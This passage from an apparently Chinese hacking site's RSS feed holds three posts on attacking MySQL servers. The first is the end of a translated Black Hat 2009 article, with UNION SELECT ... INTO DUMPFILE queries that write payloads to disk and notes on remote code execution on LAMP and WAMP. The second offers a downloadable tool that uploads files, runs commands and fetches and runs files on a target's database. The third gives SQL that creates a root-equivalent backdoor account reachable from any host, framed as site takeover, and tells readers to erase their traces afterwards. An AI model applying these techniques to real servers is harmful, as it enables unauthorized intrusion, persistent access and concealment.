<p>Apache中的LimitRequestLine指令允许WEB服务器去削减HTTP请求的大小。这包含了所有的通过GET请求发送的请求信息，默认值是</p>
<p>8190Bytes。如果SQL注入再GET请求上同时这个恶意代码超过了这个大小的话，Apache WEB服务器将会回复一个HTTP 414的状态码。<br />
。</p>
<p>默认的Apache WEB服务器设置LimitRequestBody为2GB，这个是HTTP请求的body体中的大小。所以SQL注入发送到POST请求里面，可以</p>
<p>给恶意代码提供2G的发挥空间。</p>
<p>WEB应用防火墙可以去禁止打的请求。这个长的请求也可以是缓冲区溢出攻击。</p>
<p>8.恶意代码的压缩和解压缩。</p>
<p>PHP包含了一个zlib的模块可以去读和写gzip压缩文件。这个模块可以把一个恶意文件通过压缩成一个非常小的文件。Zlib模块可以</p>
<p>压缩我们的文件从9635字节到630字节。当压缩文件成功上传到WEB服务器上以后，gzuncompress过程可以反解码出这个文件。当然条</p>
<p>件还是Mysql数据库和Apahce WEB服务器再相同的机器上。</p>
<p>9.处理字段<br />
UNION字段将会联合从复合的SELECT语句中连接到一起。这两个查询必须有相同的字段数。<br />
例如<br />
SELECT name, add, content FROM data WHERE id=21 UNION SELECT NULL,NULL,<br />
0x8A789C....... INTO DUMPFILE ‘file’<br />
第一个的查询的结果将会加入到我们的文件中。我们再第五部分讲过，我们可以再WHERE字段插入任意不存在的值，所以再第一个查</p>
<p>询中是没有任意结果的。然而，由于再这个查询中需要额外的字段请求，任何坏的字符数据被加入到了我们的文件中。<br />
我们可以用一下方法查询<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT<br />
0x8A789C.........,0x00,0x00 INTO DUMPFILE ‘file’<br />
另外一种方式是SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A,<br />
0x78,0x9CED......9EEC....... INTO DUMPFILE ‘file’</p>
<p>10. 再LAMP平台上进行远程代码执行漏洞。<br />
在LAMP平台上进行远程代码执行漏洞有一些限制，默认的mysql是以mysql用户启动的。恶意文件通过SELECT INTO DUMPFILE必须需要</p>
<p>Mysql用户有写权限。默认的上传的文件是不可以运行的，但是可以读的。文件属组是Mysql用户。PHP脚本可以读这个文件和写个相</p>
<p>同内容的新文件。这个文件创建所有者是www-data用户，PHP文件的权限可以通过运行PHP SYSTEM函数进行修改。</p>
<p>11.在WAMP平台上进行远程代码执行<br />
远程代码执行漏洞再WAMP上只有少数的限制。默认mysql是作为本地系统管理员用户登录的，默认的上传的PHP脚本可以添加用户，增</p>
<p>加服务器等操作。</p>
<p>参考：<br />
[1] LAMP</p>
<p>http://en.wikipedia.org/wiki/LAMP_(software_bundle)</p>
<p>[2] WAMP</p>
<p>http://en.wikipedia.org/wiki/WAMP</p>
<p>[3] St acked Quer i es</p>
<p>http://www.sqlinjectionwiki.com/Default.aspx?Page=Stacked%2</p>
<p>0Query&amp;AspxAutoDetectCookieSupport=1<br />
[4] MySQL 5.1 Ref e renc e Manual : Adding New<br />
Funct ions</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/adding-functions.html</p>
<p>[5] Dat abase Hacke r ’ s Handbook</p>
<p>http://www.ngssoftware.com/press-releases/database-hackershandbook-</p>
<p>published/<br />
[6] Advanc ed SQL Inj e ct ion Exploi t at ion to Ope r at ing<br />
Sys t em Ful l Cont rol</p>
<p>http://www.blackhat.com/presentations/bh-europe-</p>
<p>09/Guimaraes/Blackhat-europe-09-Damele-SQLInjectionslides.<br />
pdf<br />
[7] MySQL 5.1 Ref e renc e Manual : INSERT Synt ax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/insert.html</p>
<p>[8] MySQL 5.1 Ref e renc e Manual : UPDATE Synt ax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/update.html</p>
<p>[9] MySQL 5.1 Ref e renc e Manual : SELECT Synt ax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/select.html</p>
<p>[10] MySQL 5.1 Ref er ence Manual : Pr ivi l eges<br />
Provided b y MySQL</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/privilegesprovided.</p>
<p>html<br />
[11] MySQL 5.1 Ref er ence Manual : CREATE<br />
FUNCTION Syntax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/create-functionudf.</p>
<p>html<br />
[12] Shared Libra r y</p>
<p>http://en.wikipedia.org/wiki/Library_(computing)#Shared_librari</p>
<p>es<br />
[14] MySQL 5.1 Ref er ence Manual : UNION s ynt ax</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/union.html</p>
<p>[15] PHP Sys t em Funct ion</p>
<p>http://ar.php.net/system</p>
<p>[16] MySQL 5.1 Ref er ence Manual : St r ing Funct ions</p>
<p>http://dev.mysql.com/doc/refman/5.1/en/string-functions.html</p>
<p>[17] Apache Core Fe atur es</p>
<p>http://httpd.apache.org/docs/2.1/mod/core.html#documentroot</p>
<p>[18] PHP Zl ib Funct ions</p>
<p>http://www.php.net/manual/en/ref.zlib.php</p>
<p>[19] PHP gz compr es s Funct ion</p>
<p>http://www.php.net/manual/en/function.gzcompress.php</p>
<p>[20] PHP gzuncompr es s Funct ion</p>
<p>http://www.php.net/manual/en/function.gzuncompress.php</p>
<p>[21] Adl er32 Che cksum</p>
<p>http://en.wikipedia.org/wiki/Adler-32</p>
<p>[22] RFC 1950<br />
http://tools.ietf.org/html/rfc1950<br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li>
<li><a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li>
<li><a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li>
<li><a href="http://www.4shell.org/archives/386.html" title="MySQLhack">MySQLhack</a></li>
<li><a href="http://www.4shell.org/archives/338.html" title="MySql远程任意用户建接语句">MySql远程任意用户建接语句</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/991.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQLhack</title>
		<link>http://www.4shell.org/archives/386.html</link>
		<comments>http://www.4shell.org/archives/386.html#comments</comments>
		<pubDate>Sun, 12 Oct 2008 11:33:11 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[资源共享]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/386.html</guid>
		<description><![CDATA[<p>来源：<a href="http://www.t00ls.net/viewthread.php?tid=212&#38;extra=page%3D1" target="_blank"><font color="#0b59b2">T00LS</font></a></p><p>MySQL 利用工具.<br />连接对方的MySQL后,可以上传文件,执行dos命令.以及下载文件并运行.</p><p>软件需要 Microsoft .NET Framework 2.0 支持<br />无法打开软件请安装 Microsoft .NET Framework 2.0<br />...</p>
]]></description>
			<content:encoded><![CDATA[<p>来源：<a href="http://www.t00ls.net/viewthread.php?tid=212&amp;extra=page%3D1" target="_blank"><font color="#0b59b2">T00LS</font></a></p>
<p>MySQL 利用工具.<br />连接对方的MySQL后,可以上传文件,执行dos命令.以及下载文件并运行.</p>
<p>软件需要 Microsoft .NET Framework 2.0 支持<br />无法打开软件请安装 Microsoft .NET Framework 2.0<br />Microsoft .NET Framework 2.0 下载地址:<br /><a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=0856eacb-4362-4b0d-8edd-aab15c5e04f5&amp;displaylang=zh-cn" target="_blank"><font color="#0b59b2">http://www.microsoft.com/downloads/details.aspx?FamilyID=0856eacb-4362-4b0d-8edd-aab15c5e04f5&amp;displaylang=zh-cn</font></a></p>
<p><strong>下载地址：</strong><a href="http://201314.free.fr/attachments/200810/mysqlhack.zip" target="_blank"><font color="#0b59b2">mysqlhack.zip</font></a></p>
<p>上图：</p>
<p><img alt="" src="http://pic.yupoo.com/sunlei/4861064bc762/5tn1gzb2.jpg" /></p>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li>
<li><a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li>
<li><a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li>
<li><a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li>
<li><a href="http://www.4shell.org/archives/338.html" title="MySql远程任意用户建接语句">MySql远程任意用户建接语句</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/386.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySql远程任意用户建接语句</title>
		<link>http://www.4shell.org/archives/338.html</link>
		<comments>http://www.4shell.org/archives/338.html#comments</comments>
		<pubDate>Fri, 10 Oct 2008 04:56:19 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://202.172.32.240/~shellorg/archives/338.html</guid>
		<description><![CDATA[<p>以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的MYSQL，只可以本地连，对外拒绝连接。以下方法可以帮助你解决这个问题了，下面的语句功能是，建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。</p><p>CREATE USER <a href="mailto: itpro @ %">'itpro'@'%'</a> IDENTIFIED BY '123';GRANT ALL PRIVILEGES ON *.* TO <a href="mailto: itpro @ %">'itpro'@'%'</a> IDENTIFIED BY '123'WITH GRANT OPTION MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0;</p>...
]]></description>
			<content:encoded><![CDATA[<p>以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的MYSQL，只可以本地连，对外拒绝连接。以下方法可以帮助你解决这个问题了，下面的语句功能是，建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。</p>
<p>CREATE USER <a href="mailto: itpro @ %">'itpro'@'%'</a> IDENTIFIED BY '123';GRANT ALL PRIVILEGES ON *.* TO <a href="mailto: itpro @ %">'itpro'@'%'</a> IDENTIFIED BY '123'WITH GRANT OPTION MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0;</p>
<p>搞完事记得删除脚印哟。</p>
<p>DROP USER 'itpro<a href="mailto: itpro @ %">'@'%'</a>;</p>
<p>DROP DATABASE IF EXISTS `itpro` ;</p>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li>
<li><a href="http://www.4shell.org/archives/1043.html" title="关于MySQL权限">关于MySQL权限</a></li>
<li><a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li>
<li><a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li>
<li><a href="http://www.4shell.org/archives/386.html" title="MySQLhack">MySQLhack</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/338.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
